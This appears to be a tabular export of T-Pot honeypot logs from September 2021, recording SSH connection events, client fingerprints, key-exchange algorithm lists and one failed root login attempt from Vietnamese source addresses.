"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40402, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.835549", "@timestamp": "2021-09-20T11:07:15.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23192	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.526456+03	2021-09-20 14:15:07.189472+03	{"_id": "mwbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e7dcfc2e555e", "@version": "1", "duration": 2.756887197494507, "timestamp": "2021-09-20T11:07:15.526456Z", "@timestamp": "2021-09-20T11:07:15.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23207	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.55876+03	2021-09-20 14:15:07.20947+03	{"_id": "swbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "53d318841bf2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:15.558760Z", "@timestamp": "2021-09-20T11:07:15.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23193	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.999666+03	2021-09-20 14:15:07.19047+03	{"_id": "pgbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c976395e20d4", "@version": "1", "timestamp": "2021-09-20T11:07:15.999666Z", "@timestamp": "2021-09-20T11:07:15.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23194	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:15.999052+03	2021-09-20 14:15:07.192471+03	{"_id": "wgbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52126, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.999052", "@timestamp": "2021-09-20T11:07:15.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23195	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:15.997372+03	2021-09-20 14:15:07.193471+03	{"_id": "sgbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52126, "timestamp": "2021-09-20T11:07:15.997372", "@timestamp": "2021-09-20T11:07:15.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23196	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.486002+03	2021-09-20 14:15:07.19447+03	{"_id": "6QbjAnwBvYTbRNuEhAgd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51874 (192.168.176.2:22) [session: 5b8be0924f8c]", "session": "5b8be0924f8c", "@version": "1", "protocol": "ssh", "src_port": 51874, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.486002Z", "@timestamp": "2021-09-20T11:07:16.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23208	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.793183+03	2021-09-20 14:15:07.210471+03	{"_id": "tAbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "d3cb8bf37f97", "@version": "1", "duration": 4.553910970687866, "timestamp": "2021-09-20T11:07:15.793183Z", "@timestamp": "2021-09-20T11:07:15.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23197	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.785738+03	2021-09-20 14:15:07.196471+03	{"_id": "2gbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5b8be0924f8c", "@version": "1", "timestamp": "2021-09-20T11:07:16.785738Z", "@timestamp": "2021-09-20T11:07:16.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23198	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.842336+03	2021-09-20 14:15:07.19747+03	{"_id": "2wbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d6f8356224b5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:16.842336Z", "@timestamp": "2021-09-20T11:07:16.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23199	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:17.062174+03	2021-09-20 14:15:07.19947+03	{"_id": "3AbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/123qwe] failed", "session": "53d318841bf2", "@version": "1", "password": "123qwe", "username": "root", "timestamp": "2021-09-20T11:07:17.062174Z", "@timestamp": "2021-09-20T11:07:17.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23200	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:17.289611+03	2021-09-20 14:15:07.20047+03	{"_id": "AgbjAnwBvYTbRNuEhgmY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1952347905590948, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47608, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.289611Z", "@timestamp": "2021-09-20T11:07:17.289Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
